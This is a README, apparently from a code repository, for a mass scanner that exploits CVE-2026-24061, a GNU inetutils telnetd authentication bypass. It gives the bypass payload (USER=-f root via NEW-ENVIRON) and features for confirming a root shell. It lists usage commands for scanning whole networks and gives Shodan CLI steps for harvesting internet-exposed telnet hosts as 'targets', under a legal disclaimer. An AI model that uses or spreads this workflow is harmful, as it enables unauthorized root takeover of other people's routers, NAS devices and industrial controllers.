CVE-2026-24061 Scanner – GNU inetutils telnetd Auth Bypass

⚠️ VERY IMPORTANT LEGAL NOTICE ⚠️
This tool is exclusively for educational purposes, security research, vulnerability analysis, and authorized testing.

• Any unauthorized use against systems you do not own or do not have explicit written permission to test is a crime (in Brazil: art. 154-A of the Penal Code + Law 14.155/2021, among other international legislation).
• Use only in your own environments, controlled labs, or during pentests/red team engagements with a signed RoE (Rules of Engagement).
• The author is not responsible for any misuse, damage, IP blocking, legal consequences, or malicious exploitation.

About the Vulnerability (CVE-2026-24061)

• Official name: GNU inetutils telnetd ≤ 2.7 – Authentication Bypass to Root Shell
• CVSS: 9.8 (Critical)
• Exploitation: Sending USER=-f root (or variations) via the NEW-ENVIRON option allows immediate login as root without a password.
• Affected: IoT devices, legacy routers, embedded systems, NAS, DVRs, industrial PLCs that still use GNU inetutils telnetd (versions ≤ 2.7).
• Status as of February 2026: Actively exploited in the wild (CISA KEV since Jan/2026, GreyNoise detecting daily attempts).

Special Thanks

This scanner was only possible thanks to the excellent technical analysis and proof of concept published by the Hakai Security team.
Their detailed article provided the precise technical foundations on the exploitation vector, the real payloads, and the behavior of the vulnerable telnetd.

→ Read the full analysis here:
https://hakaisecurity.io/cve-2026-24061-execucao-remota-de-codigo-no-telnetd-analise-tecnica-e-prova-de-conceito/research-blog/

Many thanks to Hakai Security for their transparency, technical quality, and contribution to the security community. You helped make this tool more accurate and useful for responsible research.

Scanner Features

• Support for individual IPs, CIDRs (/24, /16, etc.), and .txt files with a target list
• Automatic classful IPv4 class detection (A/B/C) with a warning for large networks
• Dynamic generation of multiple payloads (-f root, -f admin, variations with --, -p, etc.)
• Customizable user list via --users (default includes root, admin, pi, ubuntu, debian, etc.)
• Real root verification via id and whoami (--verify)
• Telnet banner capture and display (--banner)
• Early SSH detection on port 23 (skips the test to avoid false positives)
• Parallel execution (adjustable with -w)
• Colorful output: STRONG RED + "!!! VULNERABLE !!!" for vulnerable targets
• Graceful Ctrl+C handling
• Results saved in JSON sorted by IP

Installation

# Recommended: use virtualenv
python3 -m venv venv-cve
source venv-cve/bin/activate

# Install dependencies
pip install telnetlib3 colorama

Basic Usage

python3 scan-cve-2026-24061.py 192.168.1.0/24 --verify --banner -w 50

# With a target list (e.g., Shodan)
python3 scan-cve-2026-24061.py alvos.txt -w 80 -t 6 --users root admin -o resultados.json

# Focused on root (faster)
python3 scan-cve-2026-24061.py 10.0.0.0/24 --users root --verify --banner -t 5

# Dry-run (only lists IPs)
python3 scan-cve-2026-24061.py 206.42.41.0/24 --dry-run

How to Get Targets (example with Shodan CLI)

pip install shodan

# Initialize with your API Key
shodan init YOUR_API_KEY_HERE

# Download possible targets
shodan download --limit 500 iot-gnu-telnet.json.gz 'port:23 ("GNU inetutils" OR "telnetd (GNU inetutils)") -ssh'

# Extract IPs
shodan parse --fields ip_str iot-gnu-telnet.json.gz > alvos.txt

# Scan
python3 scan-cve-2026-24061.py alvos.txt --verify --banner

Contributions

Pull requests are welcome, as long as they maintain the ethical focus and reinforce liability warnings. License MIT License – but I emphasize: unauthorized use is the sole responsibility of the user. Made for study, awareness, and security research.

⭐ If you found it useful, give it a star!

🛡️ Use with extreme responsibility.

Made with ❤️ by killsystema